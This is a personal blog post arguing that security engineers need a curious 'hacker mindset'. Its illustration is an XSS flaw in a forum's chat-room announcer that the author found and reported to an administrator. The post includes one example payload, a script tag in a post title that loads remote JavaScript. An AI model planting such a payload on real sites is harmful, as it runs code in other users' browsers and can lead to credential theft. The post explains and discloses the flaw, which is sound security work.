⁵ “You were doing 35mph in the 60mph limit, then you were doing 35mph in the 40mph limit, now you’re doing 35mph in the 20mph limit. Argh!”

Why Security Engineering needs a Hacker Mentality

My recent post How an RM Nimbus Taught Me a Hacker Mentality kickstarted several conversations, and I’ve enjoyed talking to people about the “hacker mindset” (and about old school computers!) ever since.¹

Thinking “like a hacker” involves a certain level of curiosity and creativity with technology. And there’s a huge overlap between that outlook and the attitude required to be a security engineer.

By way of example: I wrote a post for a Web forum² recently. A feature of this particular forum is that (a) it has a chat room, and (b) new posts are “announced” to the chat room.

The title of my latest post contained a HTML tag (because that’s what the post was talking about). But when the post got “announced” to the chat room… the HTML tag seemed to have disappeared!

And this is where “hacker curiosity” causes a person to diverge from the norm. A normal person would probably just say to themselves “huh, I guess the chat room doesn’t show HTML elements in the subjects of posts it announces” and get on with their lives. But somebody with a curiosity for the technical, like me, finds themselves wondering exactly what went wrong.

It took only a couple of seconds with my browser’s debug tools to discover that my HTML tag… had actually been rendered to the page! That’s not good: it means that, potentially, the combination of the post title and the shoutbox announcer might be a vector for an XSS attack. If I wrote a post with a title of, say, <script src="//example.com/some-file.js"></script>Benign title, then the chat room would appear to announce that I’d written a post called “Benign title”, but anybody viewing it in the chat room would execute my JavaScript payload³.

I reached out to an administrator to let them know. Later, I delivered a proof-of-concept: to keep it simple, I just injected an <img> tag into a post title and, sure enough, the image appeared right there in the chat room.

This didn’t start out with me doing penetration testing on the site. I wasn’t looking to find a security vulnerability. But I spotted something strange, asked “what can I make it do?”, and exercised my curiosity.

Even when I’m doing something more-formally, and poking every edge of a system to try to find where its weak points are… the same curiosity still sometimes pays dividends.

I remember that a decade ago, I found a vulnerability in a central IT system at the University of Oxford that involved setting a payload in a domain-wide cookie with the anticipation that a trusted system would trip over it later. The administrators of the system had been running the usual automated scanners to look for security problems, but those tools lack the imagination of a human with a hacker mindset.

And that’s why you need that mindset in your security engineers. Curiosity, imagination, and the willingness to ask “what can I make it do?”. Because if you don’t find the loopholes, the bad guys will.

Footnotes

¹ It even got as far as the school run, where I ended up chatting to another parent about the post while our kids waited to be let into the classroom!

² Remember forums? They’re still around, and – if you find one with the right group of people – they’re still delightful. They represent the slower, smaller communities of a simpler Web: they’re not like Reddit or Facebook where the algorithm will always find something more to “feed” you; instead they can be a place where you can make real human connections online, so long as you can deprogram yourself of your need to have an endless-scroll of content and you’re willing to create as well as consume!

³ This, in turn, could “act as” them on the forum, e.g. attempting to steal their credentials or to make them post messages they didn’t intend to, for example: or, if they were an administrator, taking more-significant actions!